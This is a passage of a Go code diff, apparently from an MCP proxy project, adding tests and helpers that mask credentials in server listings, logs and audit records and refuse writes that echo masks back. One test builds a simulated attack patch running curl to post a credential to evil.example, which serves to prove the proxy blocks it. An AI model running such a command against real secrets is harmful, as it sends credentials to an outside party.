require.NoError(t, err) + body := toolResultText(t, result) + + for what, secret := range leakySecrets { + assert.NotContains(t, body, secret, "quarantine list leaks the %s secret", what) + } + + // The names survive so the response is still useful. + assert.Contains(t, body, "QA_SECRET_TOKEN") + assert.Contains(t, body, "X-AuthToken") + assert.Contains(t, body, "evil") +} + +// TestRedactedServerView_MasksUnknownFutureField is the durability guard: a +// credential in a field no matcher knows by name must still be masked, because +// every UNCONTRACTED leaf ends in the value-shaped detector. +// +// "Uncontracted" is the important word. Three leaf kinds — env values, header +// values and the server URL — must render byte-for-byte as internal/oauth +// renders them, because oauth.UnmaskEnvValues / UnmaskHeaders / UnmaskURL +// recognise an echoed mask by that exact rendering on the write path; those +// inherit oauth's coverage instead (see redactionPolicy.detectContractedLeaves, +// and TestUpstreamServersList_DefaultRedactionUnchanged for the round trip that +// depends on it). Everything else — argv tokens, and any string field added to +// ServerConfig after this change — has no such contract, so the detector runs +// on every surface. +func TestRedactedServerView_MasksUnknownFutureField(t *testing.T) { + // A field name no matcher knows, holding a vendor-shaped credential. This + // stands in for the NEXT field added to config.ServerConfig: the view is + // built by walking the config's own JSON, so such a field is masked + // without anyone remembering to add it to a list. + future := redactValueWith("", map[string]interface{}{ + "zzz_future_field": "ghp_abcdefghijklmnopqrstuvwxyz0123456789", + }, liveRedaction) + encodedFuture, err := json.Marshal(future) + require.NoError(t, err) + assert.NotContains(t, string(encodedFuture), "ghp_abcdefghijklmnopqrstuvwxyz0123456789") + assert.Contains(t, string(encodedFuture), "zzz_future_field", "the field NAME is the audit signal and must survive") + + // argv: masked on the live surface too, by flag name AND by value shape. + view := redactedServerView(&config.ServerConfig{ + Name: "future", + Args: []string{"--endpoint=AKIAIOSFODNN7EXAMPLE", "--api-key", "totally-opaque-value"}, + }, liveRedaction) + encoded, err := json.Marshal(view) + require.NoError(t, err) + assert.NotContains(t, string(encoded), "AKIAIOSFODNN7EXAMPLE") + assert.NotContains(t, string(encoded), "totally-opaque-value") + assert.Contains(t, string(encoded), "--endpoint") + assert.Contains(t, string(encoded), "--api-key") + + // The audit policy additionally detector-masks the contracted leaves: the + // activity store has no write path to keep in step, so nothing constrains + // its rendering and maximal masking wins. + audited := redactValueWith("", map[string]interface{}{ + "env": map[string]interface{}{"ZZZ": "ghp_abcdefghijklmnopqrstuvwxyz0123456789"}, + }, auditRedaction) + encodedAudit, err := json.Marshal(audited) + require.NoError(t, err) + assert.NotContains(t, string(encodedAudit), "ghp_abcdefghijklmnopqrstuvwxyz0123456789") + assert.Contains(t, string(encodedAudit), "ZZZ") +} + +// TestRedactedServerView_NotBuiltFromAllowlist pins the view to +// ServerConfig.MarshalJSON rather than a hand-written key list — an allowlist +// is exactly what rotted into #1146 and #1148. +func TestRedactedServerView_NotBuiltFromAllowlist(t *testing.T) { + sc := &config.ServerConfig{ + Name: "shape", + Protocol: "stdio", + Command: "uvx", + Args: []string{"pkg"}, + URL: "https://example.test/mcp", + Env: map[string]string{"A": "b"}, + Headers: map[string]string{"Accept": "application/json"}, + Enabled: true, + Quarantined: true, + } + + raw, err := json.Marshal(sc) + require.NoError(t, err) + var want map[string]interface{} + require.NoError(t, json.Unmarshal(raw, &want)) + + got := redactedServerView(sc, liveRedaction) + for key := range want { + assert.Contains(t, got, key, "view dropped %q — it is not derived from MarshalJSON", key) + } +} + +// TestUpstreamServersList_RevealSecretHeaders_DeniedForAnonymous covers the (b) +// half of issue #1148 on the one operation that hands back RAW credentials. +// `reveal_secret_headers` is an operator opt-in for a trusted read surface; an +// unauthenticated /mcp caller (admin only by back-compat) and a nil context are +// not that. +func TestUpstreamServersList_RevealSecretHeaders_DeniedForAnonymous(t *testing.T) { + newProxy := func(t *testing.T) *MCPProxyServer { + t.Helper() + p := createTestMCPProxyServer(t) + p.config.RevealSecretHeaders = true + require.NoError(t, p.storage.SaveUpstreamServer(&config.ServerConfig{ + Name: "srv", + URL: "https://host/mcp?token=" + leakySecrets["url"], + Env: map[string]string{"QA_SECRET_TOKEN": leakySecrets["env"]}, + Headers: map[string]string{"X-AuthToken": leakySecrets["header"]}, + Enabled: true, + })) + return p + } + + t.Run("anonymous caller gets masked values", func(t *testing.T) { + p := newProxy(t) + ctx := auth.WithAuthContext(context.Background(), auth.AnonymousContext()) + result, err := p.handleListUpstreams(ctx) + require.NoError(t, err) + body := toolResultText(t, result) + assert.NotContains(t, body, leakySecrets["env"]) + assert.NotContains(t, body, leakySecrets["header"]) + assert.NotContains(t, body, leakySecrets["url"]) + }) + + t.Run("nil auth context gets masked values", func(t *testing.T) { + p := newProxy(t) + result, err := p.handleListUpstreams(context.Background()) + require.NoError(t, err) + body := toolResultText(t, result) + assert.NotContains(t, body, leakySecrets["env"]) + assert.NotContains(t, body, leakySecrets["header"]) + assert.NotContains(t, body, leakySecrets["url"]) + }) + + t.Run("authenticated admin still gets raw values", func(t *testing.T) { + p := newProxy(t) + ctx := auth.WithAuthContext(context.Background(), auth.AdminContext()) + result, err := p.handleListUpstreams(ctx) + require.NoError(t, err) + body := toolResultText(t, result) + assert.Contains(t, body, leakySecrets["env"], "reveal_secret_headers must keep working for an authenticated admin") + assert.Contains(t, body, leakySecrets["header"]) + assert.Contains(t, body, leakySecrets["url"]) + }) +} + +// TestUpstreamServersList_DefaultRedactionUnchanged pins the DEFAULT (flag off) +// rendering to oauth.MaskValue's `•••• ( chars)`. That exact string +// is what oauth.UnmaskEnvValues / UnmaskHeaders / UnmaskURL recognise on the +// patch path, so switching this surface to the audit `••••` marker would make a +// read-modify-write agent overwrite the real secret with the mask. The CI-only +// E2E assertions in e2e_test.go pin the same thing. +func TestUpstreamServersList_DefaultRedactionUnchanged(t *testing.T) { + p := createTestMCPProxyServer(t) + require.NoError(t, p.storage.SaveUpstreamServer(&config.ServerConfig{ + Name: "srv", + Env: map[string]string{"QA_SECRET_TOKEN": leakySecrets["env"]}, + Headers: map[string]string{"X-AuthToken": leakySecrets["header"]}, + Enabled: true, + })) + + ctx := auth.WithAuthContext(context.Background(), auth.AdminContext()) + result, err := p.handleListUpstreams(ctx) + require.NoError(t, err) + body := toolResultText(t, result) + + assert.NotContains(t, body, leakySecrets["env"]) + assert.Contains(t, body, "chars)", "live surfaces must keep the MaskValue rendering the unmaskers recognise") + assert.Contains(t, body, oauth.MaskValue(leakySecrets["env"])) + assert.Contains(t, body, oauth.MaskValue(leakySecrets["header"])) +} + +// TestRedactBuiltinResponseForActivity covers the persistence net: whatever a +// management built-in returned, the row written to BBolt / SSE / +// `mcpproxy activity list` carries no credential values. +func TestRedactBuiltinResponseForActivity(t *testing.T) { + raw, err := json.Marshal(map[string]interface{}{ + "servers": []interface{}{map[string]interface{}{ + "name": "evil", + "url": "https://host/mcp?token=" + leakySecrets["url"], + "args": []interface{}{"mcp-foo", "--api-key", leakySecrets["argv"]}, + "env": map[string]interface{}{"QA_SECRET_TOKEN": leakySecrets["env"]}, + "headers": map[string]interface{}{"X-AuthToken": leakySecrets["header"]}, + "oauth": map[string]interface{}{"client_secret": leakySecrets["oauth"]}, + }}, + }) + require.NoError(t, err) + + encoded, err := json.Marshal(redactBuiltinResponseForActivity(string(raw))) + require.NoError(t, err) + for what, secret := range leakySecrets { + assert.NotContains(t, string(encoded), secret, "activity record leaks the %s secret", what) + } + assert.Contains(t, string(encoded), "QA_SECRET_TOKEN") + // The audit surface must not carry the length fingerprint MaskValue emits. + assert.NotContains(t, string(encoded), "chars)") + + // Non-JSON responses fall back to the free-form scrubber. + plain := redactBuiltinResponseForActivity("connect failed for https://host/mcp?token=" + leakySecrets["url"]) + assert.NotContains(t, plain.(string), leakySecrets["url"]) +} + +// TestScrubUpstreamText_ConnectionErrors covers issue #1148 (c3): the +// connect/restart handlers returned `connection_message` built straight from +// the upstream error, which routinely echoes the URL with its query +// credentials. `upstream_servers list` already scrubbed the identical string +// for last_error — the inconsistency was the bug. +func TestScrubUpstreamText_ConnectionErrors(t *testing.T) { + msg := scrubUpstreamText("Server connection failed: dial https://host/mcp?token=" + leakySecrets["url"] + ": connection refused") + assert.NotContains(t, msg, leakySecrets["url"]) + assert.Contains(t, msg, "connection refused", "the diagnostic part must survive") + + vendor := scrubUpstreamText("child said: ghp_abcdefghijklmnopqrstuvwxyz0123456789") + assert.NotContains(t, vendor, "ghp_abcdefghijklmnopqrstuvwxyz0123456789") + + assert.Equal(t, "", scrubUpstreamText("")) +} + +// TestTailLog_ScrubsLogLines covers issue #1148 (c2). mcpproxy is itself the +// source of the leak: internal/upstream/core/connection.go logs the upstream +// URL — query credentials and all — into server-.log on every connection +// attempt, and connection_launcher.go pipes the child process's own stdout into +// the same file. `tail_log` returned those lines verbatim and recorded them +// into the activity store. +func TestTailLog_ScrubsLogLines(t *testing.T) { + proxy := createTestMCPProxyServer(t) + + logDir := t.TempDir() + cfg := config.DefaultConfig() + cfg.DataDir = t.TempDir() + cfg.Listen = "127.0.0.1:0" + cfg.Logging.LogDir = logDir + mainSrv, err := NewServer(cfg, zap.NewNop()) + require.NoError(t, err) + t.Cleanup(func() { _ = mainSrv.Shutdown() }) + proxy.mainServer = mainSrv + + require.NoError(t, proxy.storage.SaveUpstreamServer(&config.ServerConfig{ + Name: "leaky", Protocol: "http", Enabled: true, + })) + require.NoError(t, os.WriteFile(filepath.Join(logDir, "server-leaky.log"), []byte( + `{"level":"info","msg":"Starting connection attempt","url":"https://host/mcp?token=`+leakySecrets["url"]+`"}`+"\n"+ + `child stdout: using ghp_abcdefghijklmnopqrstuvwxyz0123456789`+"\n"), 0o600)) + + request := mcp.CallToolRequest{} + request.Params.Arguments = map[string]interface{}{"name": "leaky"} + + result, err := proxy.handleTailLog(context.Background(), request) + require.NoError(t, err) + body := toolResultText(t, result) + + assert.NotContains(t, body, leakySecrets["url"], "tail_log leaks the URL credential mcpproxy itself logged") + assert.NotContains(t, body, "ghp_abcdefghijklmnopqrstuvwxyz0123456789") + assert.Contains(t, body, "Starting connection attempt", "the diagnostic content must survive") +} + +// TestArgvMaskEcho_GuardsTheWritePath is the write-path counterpart to masking +// argv on `upstream_servers list` (issue #1148). +// +// `args_json` REPLACES the vector entirely, so a read-modify-write agent that +// echoed a masked list back would persist the mask over the real credential. +// The env/header/url surfaces solve that by reverting the mask, bound to the +// map key or the URL authority. argv has no such key — see checkArgvMaskEcho — +// so this surface refuses the write instead, and the caller resends the value. +func TestArgvMaskEcho_GuardsTheWritePath(t *testing.T) { + stored := []string{"mcp-foo", "--api-key", leakySecrets["argv"], "--port", "8080"} + masked := redactedArgs(stored, liveRedaction) + require.NotContains(t, masked, leakySecrets["argv"], "the read path must mask the credential") + + t.Run("an unedited echo is refused rather than persisted", func(t *testing.T) { + assert.Error(t, checkArgvMaskEcho(masked, stored)) + }) + + t.Run("an edit that still carries the mask is refused", func(t *testing.T) { + edited := append([]string(nil), masked...) + edited[4] = "9090" + assert.Error(t, checkArgvMaskEcho(edited, stored)) + }) + + t.Run("a genuinely new secret is written through", func(t *testing.T) { + incoming := []string{"mcp-foo", "--api-key", "brand-new-secret", "--port", "8080"} + assert.NoError(t, checkArgvMaskEcho(incoming, stored)) + }) + + t.Run("colliding masks are refused, not guessed", func(t *testing.T) { + // Two DIFFERENT stored tokens whose masked renderings collide — + // MaskValue carries only the length and the last two bytes. Any + // value-keyed revert has to pick one of them; refusing picks neither. + colliding := []string{"--api-key", "aaaaaaaaaXY", "--token", "bbbbbbbbbXY"} + maskedColliding := redactedArgs(colliding, liveRedaction) + require.Equal(t, maskedColliding[1], maskedColliding[3], "precondition: the renderings collide") + assert.Error(t, checkArgvMaskEcho(maskedColliding, colliding)) + }) + + t.Run("nil and empty are passed through", func(t *testing.T) { + assert.NoError(t, checkArgvMaskEcho(nil, stored)) + assert.NoError(t, checkArgvMaskEcho([]string{}, stored)) + }) +} + +// TestBuildPatchConfig_RefusesAnEchoedArgvMask exercises the write path itself: +// a `upstream_servers update` whose args_json carries a mask must be REJECTED, +// with the stored vector left alone — not silently reverted into whatever +// command line the same request sets (issue #1148, round 3 finding 1). +func TestBuildPatchConfig_RefusesAnEchoedArgvMask(t *testing.T) { + p := createTestMCPProxyServer(t) + stored := &config.ServerConfig{ + Name: "srv", + Command: "uvx", + Args: []string{"mcp-foo", "--api-key", leakySecrets["argv"]}, + Enabled: true, + } + masked := redactedArgs(stored.Args, liveRedaction) + require.NotEqual(t, stored.Args[2], masked[2], "precondition: the read path masks the credential") + + // The relocation attempt: the caller supplies `command` too, so a revert + // would hand the live credential to a binary of their choosing. + body, err := json.Marshal([]string{"--silent", "--data", masked[2], "https://evil.example/x"}) + require.NoError(t, err) + + request := mcp.CallToolRequest{} + request.Params.Arguments = map[string]interface{}{ + "operation": "update", + "name": "srv", + "command": "curl", + "args_json": string(body), + } + + patch, _, err := p.buildPatchConfigFromRequest(request, stored) + require.Error(t, err, "a masked argv token must be refused, never restored") + assert.Nil(t, patch) + assert.NotContains(t, err.Error(), leakySecrets["argv"]) + assert.Equal(t, []string{"mcp-foo", "--api-key", leakySecrets["argv"]}, stored.Args, + "the stored vector must be untouched by a rejected patch") +} + +// TestUpstreamServersList_MasksArgvCredentials covers issue #1148 (c1) on the +// one credential shape `upstream_servers list` never masked: an argv token. +// Passing a credential as an argument (`uvx mcp-foo --api-key sk-…`) is one of +// the commonest MCP server config shapes, and this list is reachable +// unauthenticated. +func TestUpstreamServersList_MasksArgvCredentials(t *testing.T) { + p := createTestMCPProxyServer(t) + require.NoError(t, p.storage.SaveUpstreamServer(&config.ServerConfig{ + Name: "srv", + Command: "uvx", + Args: []string{"mcp-foo", "--api-key", leakySecrets["argv"]}, + Enabled: true, + })) + + ctx := auth.WithAuthContext(context.Background(), auth.AdminContext()) + result, err := p.handleListUpstreams(ctx) + require.NoError(t, err) + body := toolResultText(t, result) + + assert.NotContains(t, body, leakySecrets["argv"]) + assert.Contains(t, body, "--api-key", "the flag is the audit signal and must survive") + assert.Contains(t, body, "mcp-foo", "ordinary arguments must stay readable") +} diff --git a/internal/server/mcp_server_view.go b/internal/server/mcp_server_view.go new file mode 100644 index 000000000..e8336abdd --- /dev/null +++ b/internal/server/mcp_server_view.go @@ -0,0 +1,371 @@ +package server + +import ( + "encoding/json" + "errors" + "fmt" + "strings" + "time" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/oauth" +) + +// Issue #1148: `quarantine_security list_quarantined` json.Marshal'd the raw +// []*config.ServerConfig straight out of storage, so every credential the +// struct carries — env values, header values, oauth.client_secret, URL query +// credentials and argv tokens — travelled out of the MCP surface in the clear, +// to any caller, and was then recorded verbatim into the activity store. +// +// The durable fix is not "mask the five fields the report named". It is to stop +// MCP-facing payloads being built from the config struct at all, and build them +// from a REDACTED VIEW instead, so the NEXT field added to ServerConfig is +// masked by default rather than leaked by default. +// +// The view is deliberately NOT a hand-written key list. An allowlist is exactly +// what rotted into #1146 (the activity record that dropped every payload field) +// and what makes this class of bug recur: it encodes today's field set and +// silently omits tomorrow's. Instead the config is marshalled through its own +// MarshalJSON and the resulting generic map is walked by the shared redaction +// walker from mcp_activity_args.go, whose rules are keyed on field NAMES and, +// for every leaf that survives that, on the VALUE's own shape. +// +// WARNING: the view must stay a map. config.ServerConfig declares +// MarshalJSON/UnmarshalJSON, and Go promotes those to any struct that embeds +// it — an embedding wrapper silently drops its own fields on encode (see the +// warning on config.ServerConfig.UnmarshalJSON). + +// redactedServerView renders one server config as a generic JSON map with every +// secret-bearing leaf masked under the given policy. +// +// Pass liveRedaction for an interactive MCP read surface (keeps the +// `•••• ( chars)` rendering the patch-path unmaskers recognise) and +// auditRedaction for anything persisted. Returns nil for a nil config. +// +// It is a thin alias for oauth.RedactedServerConfigView. The rule moved into +// internal/oauth beside the leaf rules and the walk once a THIRD door onto +// config.ServerConfig turned up — the server edition's +// `GET /api/v1/user/servers`, which embeds the struct in its ServerResponse and +// cannot import internal/server. A rule reachable from only some of its doors +// is what every round of #1148 has been. +func redactedServerView(sc *config.ServerConfig, r redactionPolicy) map[string]interface{} { + return oauth.RedactedServerConfigView(sc, r) +} + +// redactedServerViews renders a slice of server configs, skipping nils. +func redactedServerViews(servers []*config.ServerConfig, r redactionPolicy) []map[string]interface{} { + return oauth.RedactedServerConfigViews(servers, r) +} + +// scrubUpstreamText scrubs free-form text that originated OUTSIDE mcpproxy's +// own structured fields — an upstream connection error, a line tailed from a +// server log, a child process's stdout. +// +// Issue #1148 (c2/c3): these strings routinely embed the upstream URL with its +// query credentials (`?token=…`), and a child MCP server is free to print its +// own API key. There is no enclosing key to judge them by, so both scrubbers +// run: oauth.RedactSensitiveData for `=` shapes and bearer +// tokens, then the value-shaped detector for vendor-formatted credentials. +// +// mcp.go's `upstream_servers list` already did exactly this for `last_error`; +// routing every such site through one helper is what stops the four call sites +// drifting apart again. +// +// It does NOT truncate. Round 2 finding 3: this used to apply the 512-byte +// ACTIVITY-STORE cap, which is a property of a persisted row and not of a live +// read — so every `tail_log` line, `connection_status.last_error` and +// `connection_message` was silently cut at 512 bytes. tail_log is the primary +// debugging surface and a long line is precisely what an operator opens it for. +// The cap now lives on scrubUpstreamTextForAudit, where it belongs. +func scrubUpstreamText(s string) string { + if s == "" { + return s + } + return maskDetectedSecrets(oauth.RedactSensitiveData(s)) +} + +// scrubUpstreamTextForAudit is scrubUpstreamText for a string that will be +// PERSISTED — an activity row's error message or a non-JSON response body. It +// adds the activity store's size cap so one enormous upstream error cannot +// bloat BBolt, which is the only thing the two paths need to differ on. +func scrubUpstreamTextForAudit(s string) string { + return auditRedaction.CapString(scrubUpstreamText(s)) +} + +// scrubbedConnectionStatus returns a copy of a managed client's +// GetConnectionStatus() map with every string leaf scrubbed. +// +// Round 2 finding 2: `inspect_quarantined` — the sibling operation of the +// `list_quarantined` path #1148 fixed, one screen away in the same file — +// rendered this map straight into its response, and the map carries +// `last_error`, which routinely echoes the upstream URL with its query +// credentials. The copy matters: the map belongs to the caller's diagnostic +// path, which must keep seeing the real error. +func scrubbedConnectionStatus(status map[string]interface{}) map[string]interface{} { + if status == nil { + return nil + } + out := make(map[string]interface{}, len(status)) + for k, v := range status { + if s, ok := v.(string); ok { + out[k] = scrubUpstreamText(s) + continue + } + out[k] = v + } + return out +} + +// scrubUpstreamLines scrubs a batch of log lines. +func scrubUpstreamLines(lines []string) []string { + out := make([]string, len(lines)) + for i, line := range lines { + out[i] = scrubUpstreamText(line) + } + return out +} + +// redactBuiltinResponseForActivity renders the response text of a management +// built-in for the ACTIVITY STORE. +// +// The activity store is a different durability class from the live tool +// response: rows are persisted in BBolt, streamed over SSE, exported by +// `mcpproxy activity list` and pasted into bug reports. So even a response that +// is already masked for the caller is re-rendered here under the audit policy, +// which carries neither the secret's length nor its trailing bytes. +// +// One net at the emit site covers every current AND future operation of the +// tool — including the ones whose payloads this change does not touch +// individually — which is the property the per-handler fixes cannot give. +// Non-JSON responses (plain-text results, error strings) fall back to the +// free-form scrubber. +func redactBuiltinResponseForActivity(responseText string) interface{} { + if responseText == "" { + return responseText + } + var parsed interface{} + if err := json.Unmarshal([]byte(responseText), &parsed); err != nil || parsed == nil { + return scrubUpstreamTextForAudit(responseText) + } + return redactValueWith("", parsed, auditRedaction) +} + +// viewField reads one key out of a redacted view, falling back to the raw +// config value when the key is absent. +// +// Every string/slice/map field of config.ServerConfig is tagged `omitempty`, so +// an empty command or a nil args slice simply does not appear in the view. The +// fallback keeps hand-written projections (upstream_servers list) rendering +// `""` and `null` exactly as they did before the view existed — an empty value +// carries no secret, so nothing is lost by passing it through. +func viewField(view map[string]interface{}, key string, fallback interface{}) interface{} { + if v, ok := view[key]; ok { + return v + } + return fallback +} + +// viewString reads a string leaf out of a redacted view, falling back to the +// raw value when the key was omitted (empty) or is not a string. +func viewString(view map[string]interface{}, key, fallback string) string { + if v, ok := view[key].(string); ok { + return v + } + return fallback +} + +// redactedArgs masks a command-line argument vector under the given policy. +// Returns nil for nil so JSON callers keep emitting `null`. The rules live in +// oauth.Redaction.Argv so the MCP and REST doors share one implementation. +func redactedArgs(args []string, r redactionPolicy) []string { + masked := r.Argv(args) + for i, m := range masked { + masked[i] = r.CapString(m) + } + return masked +} + +// Issue #1148, round 3: argv masks are NEVER reverted. They are REFUSED. +// +// The write path used to restore a masked argv token from the stored vector +// (`unmaskArgv`), first by VALUE (round 2 finding 1) and then bound to the +// index plus the preceding flag (round 3 finding 1). Both leaked, and the +// second one leaked for a reason no tightening of the argv-internal context can +// remove: +// +// - An argv token has NO KEY. env values bind to the variable name, headers +// to the header name, a URL secret to its scheme+host — each is a piece of +// context the caller cannot restate without also restating what the secret +// is FOR. An argv slot has only its index and its neighbours. +// - The caller supplies the WHOLE vector *and* `command` in the same patch. +// So every candidate binding is caller-controlled: an index is chosen, a +// preceding flag is copied verbatim, and even a byte-identical argv means +// nothing once `command` moves from `mcp-foo` to `curl`. There is no +// surrounding context that proves the slot still means what it meant when +// the value was masked. +// - The index-plus-flag binding also missed every mask the VALUE-shaped +// detector produced (`ghp_…****`) and every mask at index 0, because +// nothing but the index bound those at all: +// stored = ["mcp-foo", "run", "ghp_…"] +// incoming = ["--silent", "--data", "ghp_…****"] +// restored the live token into an attacker-chosen command line. +// +// So the revert is gone. A client that echoes a mask back is told to resend the +// real value instead, which is the one answer that is safe in both directions: +// the secret never moves (no relocation), and the mask is never written over +// the credential either (no read-modify-write corruption — the #1142/#1146 +// failure the revert was added to prevent). +// +// Refusing rather than silently keeping the stored vector is deliberate: +// `args_json` REPLACES the vector, so silently ignoring it would make the write +// look applied when it was not. + +// containsArgvMaskMarker / checkArgvMaskEcho are thin bindings onto the shared +// implementation in internal/oauth (oauth.MaskMarkers, +// oauth.ContainsMaskMarker, oauth.CheckArgvMaskEcho), which is where they have +// to live: `GET /api/v1/servers` masks argv too, and internal/httpapi cannot +// import this package (issue #1148, round 4 finding 3). +func containsArgvMaskMarker(token string) bool { + return oauth.ContainsMaskMarker(token) +} + +// checkArgvMaskEcho reports an error when an incoming argv vector still carries +// a mask this proxy rendered. `args_json` is the MCP surface's spelling of the +// parameter; REST passes `args`. +func checkArgvMaskEcho(incoming, stored []string) error { + return oauth.CheckArgvMaskEcho("args_json", incoming, stored) +} + +// The unmaskLive* helpers below are thin bindings onto the shared write rules +// in internal/oauth (serverwrite.go), which is where they have to live: REST +// `PATCH /api/v1/servers/{name}` needs exactly the same reverts, and +// internal/httpapi cannot import this package (issue #1148, rounds 4 and 6). + +// unmaskLiveEnvValues reverts env values a client echoed back exactly as the +// LIVE VIEW rendered them, before oauth.UnmaskEnvValues gets the map. +func unmaskLiveEnvValues(incoming, stored map[string]string) map[string]string { + return oauth.UnmaskLiveEnvValues(incoming, stored) +} + +// unmaskLiveHeaders is unmaskLiveEnvValues for header maps. +func unmaskLiveHeaders(incoming, stored map[string]string) map[string]string { + return oauth.UnmaskLiveHeaders(incoming, stored) +} + +// unmaskLiveURL reverts a masked URL on the write path, and REFUSES the write +// when a mask it cannot bind survives. +func unmaskLiveURL(incoming, stored string) (string, error) { + return oauth.UnmaskLiveURL(incoming, stored) +} + +// unmaskLiveOAuth reverts masked oauth fields echoed back by a client, and +// REFUSES the write when a mask it cannot bind survives. `oauth_json` is the +// MCP surface's spelling of the parameter. +func unmaskLiveOAuth(incoming, stored *config.OAuthConfig) error { + if err := oauth.UnmaskLiveOAuth(incoming, stored); err != nil { + return errors.New("oauth_json" + strings.TrimPrefix(err.Error(), "oauth")) + } + return nil +} + +// checkServerWriteMasks is the fail-closed residual net every write door runs +// after its key-bound reverts: anything still carrying a mask this proxy +// rendered is refused rather than persisted over a live credential. It is what +// makes a field ADDED to config.ServerConfig later fail closed. +func checkServerWriteMasks(what string, v interface{}) error { + return oauth.CheckServerWriteMasks(what, v) +} + +// inspectConnectionTimeoutError renders `inspect_quarantined`'s +// connection-timeout diagnostic (issue #1148, round 2 finding 2). +// +// The status map is scrubbed rather than dropped: which state the client is in, +// how many retries it has burned and what the (redacted) error was is the whole +// value of this message to an operator deciding whether a quarantined server is +// merely broken or actively hostile. +func inspectConnectionTimeoutError(serverName string, timeout time.Duration, status map[string]interface{}) string { + return fmt.Sprintf( + "Quarantined server '%s' failed to connect within %v timeout. Connection status: %v. "+ + "This may indicate the server process is not running, there's a network issue, "+ + "or the server is unstable (see issue #105).", + serverName, timeout, scrubbedConnectionStatus(status)) +} + +// inspectConnectionFailedAnalysis renders `inspect_quarantined`'s +// tool-retrieval-failed payload with the connection status and the raw upstream +// error scrubbed (issue #1148, round 2 finding 2). +func inspectConnectionFailedAnalysis(serverName string, status map[string]interface{}, err error) []map[string]interface{} { + info := scrubbedConnectionStatus(status) + if info == nil { + info = map[string]interface{}{} + } + detail := "" + if err != nil { + detail = scrubUpstreamText(err.Error()) + } + info["connection_error"] = detail + + return []map[string]interface{}{{ + "server_name": serverName, + "status": "QUARANTINED_CONNECTION_FAILED", + "message": fmt.Sprintf( + "Server '%s' is quarantined and connection failed during tool retrieval. "+ + "This may indicate the server process crashed or disconnected.", serverName), + "connection_info": info, + "error_details": detail, + "next_steps": "The server connection failed. Check server process status, logs, and configuration. Server may need to be restarted.", + "security_note": "Connection failure prevents tool analysis. Server must be stable and connected for security inspection.", + }} +} + +// isolationValues renders one server's per-server isolation override as a +// generic map with every secret-bearing leaf masked. +// +// Issue #1148, round 7 finding 3. `upstream_servers list` built its +// `docker_isolation.server_isolation` block by reading the config struct field +// by field, so `extra_args` — free text an operator puts `-e API_KEY=` +// into — was republished verbatim in the SAME response that masked env, url and +// args. Sourcing the values from the shared walk instead means a field added to +// config.IsolationConfig is masked because the walk reaches it. +// +// `reveal` is the caller's authenticated `reveal_secret_headers` opt-in; it is +// honoured here exactly as it is for env/headers/url, so an operator who asked +// for raw values still gets them and nobody else does. +// +// A walk that cannot round-trip fails CLOSED: an empty map publishes nothing. +func isolationValues(iso *config.IsolationConfig, reveal bool) map[string]interface{} { + if iso == nil { + return map[string]interface{}{} + } + normalized, ok := normalizeForRedaction(iso).(map[string]interface{}) + if !ok { + return map[string]interface{}{} + } + if reveal { + return normalized + } + redacted, ok := redactValueWith("isolation", normalized, liveRedaction).(map[string]interface{}) + if !ok { + return map[string]interface{}{} + } + return redacted +} + +// globalIsolationView renders the GLOBAL docker_isolation block for the +// `docker_status` section of `upstream_servers list`, masked under the same +// rule and the same reveal gate. +// +// It used to be the raw *config.DockerIsolationConfig, so the global +// `extra_args` — one place an operator configures a registry credential for +// every isolated server at once — travelled out of this surface in the clear. +// Returns nil for nil so the payload keeps emitting `null` as before. +func globalIsolationView(global *config.DockerIsolationConfig, reveal bool) interface{} { + if global == nil { + return nil + } + normalized := normalizeForRedaction(global) + if reveal { + return normalized + } + return redactValueWith("docker_isolation", normalized, liveRedaction) +} diff --git a/internal/server/round6_write_doors_test.go b/internal/server/round6_write_doors_test.go new file mode 100644 index 000000000..cb35b0a4e --- /dev/null +++ b/internal/server/round6_write_doors_test.go @@ -0,0 +1,136 @@ +package server + +import ( + "context" + "encoding/json" + "testing" + + "github.com/mark3labs/mcp-go/mcp" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/oauth" +) + +const round6Token = "ghp_1234567890abcdefghijABCDEFGHIJ123456" + +// Issue #1148, round 6 finding 4. The MCP `upstream_servers add` door accepted +// echoed masks while REST `POST /api/v1/servers` refused them. No credential +// leaks either way — there is nothing stored to corrupt — but a client copying +// a masked payload into an add call silently persisted literal text like +// `••••AL (12 chars)` as an argv token or a header value, producing a server +// that fails to connect for a non-obvious reason. Both create doors now refuse. +func TestHandleAddUpstream_RefusesEveryEchoedMask(t *testing.T) { + p := createTestMCPProxyServer(t) + + maskedArgs, err := json.Marshal(redactedArgs([]string{"mcp-foo", "--api-key", round6Token}, liveRedaction)) + require.NoError(t, err) + maskedEnv, err := json.Marshal(map[string]string{"BENIGN": oauth.LiveRedaction.EnvValue("BENIGN", round6Token)}) + require.NoError(t, err) + maskedHeaders, err := json.Marshal(map[string]string{"X-Weird": oauth.LiveRedaction.HeaderValue("X-Weird", round6Token)}) + require.NoError(t, err) + + cases := map[string]map[string]interface{}{ + "args_json": {"name": "a1", "command": "uvx", "args_json": string(maskedArgs)}, + "env_json": {"name": "a2", "command": "uvx", "env_json": string(maskedEnv)}, + "headers_json": {"name": "a3", "url": "https://host/mcp", "headers_json": string(maskedHeaders)}, + "url": {"name": "a4", "url": oauth.LiveRedaction.URLValue("https://host/mcp?opaque=" + round6Token)}, + "oauth_json": {"name": "a5", "url": "https://host/mcp", "oauth_json": `{"client_secret":"••••ab (12 chars)"}`}, + } + + for name, args := range cases { + t.Run(name, func(t *testing.T) { + request := mcp.CallToolRequest{} + request.Params.Arguments = args + + result, err := p.handleAddUpstream(context.Background(), request) + require.NoError(t, err) + require.NotNil(t, result) + assert.True(t, result.IsError, "add must refuse an echoed mask: %+v", result.Content) + + // Nothing may be persisted. + servers, listErr := p.storage.ListUpstreamServers() + require.NoError(t, listErr) + for _, sc := range servers { + assert.NotEqual(t, args["name"], sc.Name, "the refused server must not be stored") + } + }) + } +} + +// The fail-closed net on the MCP patch door: a mask in a field that has no +// key-bound revert must be REFUSED, not persisted over whatever is stored. +// isolation.extra_args stands in for "every field nobody has given a binding", +// which is the shape a field ADDED to config.ServerConfig later would have. +func TestBuildPatchConfig_RefusesAMaskInAFieldWithNoRevert(t *testing.T) { + p := createTestMCPProxyServer(t) + stored := &config.ServerConfig{Name: "srv", Command: "uvx", Enabled: true} + + request := mcp.CallToolRequest{} + request.Params.Arguments = map[string]interface{}{ + "operation": "patch", + "name": "srv", + "isolation_json": `{"extra_args":["--env","••••ab (12 